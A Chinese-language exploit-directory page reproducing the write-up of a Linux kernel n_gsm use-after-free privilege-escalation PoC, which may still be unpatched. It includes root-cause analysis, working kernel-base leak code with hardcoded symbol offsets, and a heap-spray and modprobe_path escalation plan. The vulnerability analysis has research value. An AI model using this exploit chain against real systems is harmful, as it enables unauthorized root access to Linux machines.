Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
n_gsm_exploit — Linux 内核 n_gsm TTY ioctl 释放后使用漏洞利用 PoC:竞态条件分析、内核基址泄露、堆喷射、RIP 劫持、任意写入以及 modprobe_path 权限提升。 | Kitploit
工具/GitHubGitHub/gmh5225/n_gsm_exploit
权限提升内存取证漏洞分析漏洞利用二进制利用
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

Linux 内核 n_gsm TTY ioctl 释放后使用漏洞利用 PoC:竞态条件分析、内核基址泄露、堆喷射、RIP 劫持、任意写入以及 modprobe_path 权限提升。

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

这似乎仍然是一个 0-day。我本无意在漏洞被修补之前发布此漏洞利用程序,但另一位发现了相同漏洞的研究人员发布了一个 0-day 漏洞利用程序,因此我也发布了我的代码。请仅将其用于研究目的。

RCA

  • Linux 内核的 TTY 支持 GSM 07.10 多路复用协议。
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • 当针对 GSM 请求 ioctl 时,内核中会执行以下函数:

[1] GSMIOC_SETCONF:重置 GSM 的配置。

[2] GSMIOC_GETCONF_DLCI:获取与 GSM 关联的 DLCI 配置。

[3] GSMIOC_SETCONF_DLCI:更改与 GSM 关联的 DLCI 配置。

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • 首先检查 GSMIOC_SETCONF,它用于更改 GSM 的配置。

  • [1] 如果 GSM 的当前配置与新配置不同,则将 need_restart 标记为 true。

    [2] 如果 need_restart 为 true,则通过 gsm_cleanup_mux 终止当前的 GSM。

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] GSM 拥有的所有 DLCI 均通过 gsm_dlci_release 释放。

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • 随后,函数按以下顺序被调用:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] 将 NULL 赋值给 gsm->dlci[addr],以防止释放后使用(UAF)。

    [2] 随后,使用 kfree 释放 gsm->dlci[addr]。

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • 让我们来看一下 GSMIOC_SETCONF_DLCI,它用于更改由 GSM 拥有的 DLCI 的配置值。

  • [1] 从用户处读取 DLCI 配置,包括地址(addr)。

    [2] 引用 gsm->dlci[addr]。

    [3] 调用 gsm_dlci_config 来更改该 DLCI 的配置。

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] 根据用户传入的选项将 need_open 设置为 true。

[2] 等待直到 dlci->state 变为 DLCI_CLOSED。

[3] 如果仅 gsm->initiator 为 true,则调用 gsm_dlci_begin_open 函数以重启 DLCI。

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

漏洞

[1] 在未加锁的情况下访问 gsm->dlci。

[1] gsm_dlci_config 会访问 dlci。如果由于 GSMIOC_SETCONF 而调用了 gsm_cleanup_mux,则竞态条件可能导致释放后使用(Use-After-Free,UAF)。

  • 在正常情况下,该条件会在极短时间内满足,并调用 wakeup。
  • 如果发生 UAF,除非从用户层请求不同的 IOCTL 来调用 wakeup 例程,否则会进入无限等待。
  • 因此,攻击者可以通过测量 IOCTL 完成所需的时长来判断是否触发了 UAF。
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • 在 wait_event_interruptible 中等待期间,GSM 被 threadFunction2 重启。
    • GSM 引用的 DLCI 被 kfree,wait_event_interruptible 引用的 DLCI 也被 kfree。
    • 在这种情况下,由于 IOCTL 需要很长时间才能完成,因此很容易从用户空间检测到已发生 Use-After-Free(UAF)。

泄露内核基址

  • 内核的 hypercall_page 地址被写入 /sys/kernel/notes,该文件可被普通用户读取。因此,攻击者可以读取该文件来泄露内核基址。
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;

    file = fopen(filePath, "rb");
    if (!file) {
        perror("File open failed");
        return EXIT_FAILURE;
    }
    int count = 0;
    unsigned long hypercall_page=0;
    while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
        for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
            if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
                if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
                    uint64_t value;
                    memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
                    if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
                        hypercall_page=value;
                        break;
                    }
                }
            }
        }
    }
    if(hypercall_page==0){
        printf("fail to get hypercall_page\\n");
        exit(1);
    }
    kernel_base = hypercall_page - 0x1119000;
    modprobe_path = kernel_base + 0x23d8960;
    kernfs_pr_cont_buf = kernel_base +0x3910d00;
    __rb_free_aux = kernel_base + 0x37ac90;
    perf_aux_output_end = kernel_base + 0x37bf20;
    
    printf("hypercall_page: 0x%lx\\n", hypercall_page);
    printf("kernel_base = 0x%lx\\n",kernel_base);
    printf("modprobe_path = 0x%lx\\n",modprobe_path);
    printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
    printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
    
    fclose(file);
    return EXIT_SUCCESS;
}

在内核区域写入

为了确定我们伪造的 struct gsm_mux 的地址,我们使用一个全局静态缓冲区来存储它。通过利用 iptables 添加一个无效的 cgroup 过滤器,缓冲区 kernfs_pr_cont_buf 会被我们的 payload 数据填充。此过程需要进行调整。

喷射伪造的 gsm_dlci 对象

  • 为了创建伪造的 dlci,我们使用 setxattr 喷射适合 kmalloc-1k 缓存的数据。
    • 此时,dlci 中对应 dlci->state 的部分必须设置为 DLCI_CLOSED,以便从 wait_event_interruptible 中退出。

[1] 从此刻起,dlci 每个成员的值都可以由攻击者控制。

[2] dlci->gsm 可以被设置为攻击者控制的指针。因此,gsm->mtu 会从任意指针读取值。这种设置允许使用 gsm_dlci_copy_config_values 读取 dlci->mtu,从而实现内核任意地址读取(AAR),尽管本漏洞利用中并未使用它。

[3] 作为参数传递给 gsm_dlci_begin_open 的 dlci 的所有值都可以由攻击者控制。在审阅以下代码时应牢记这一点。

下载工具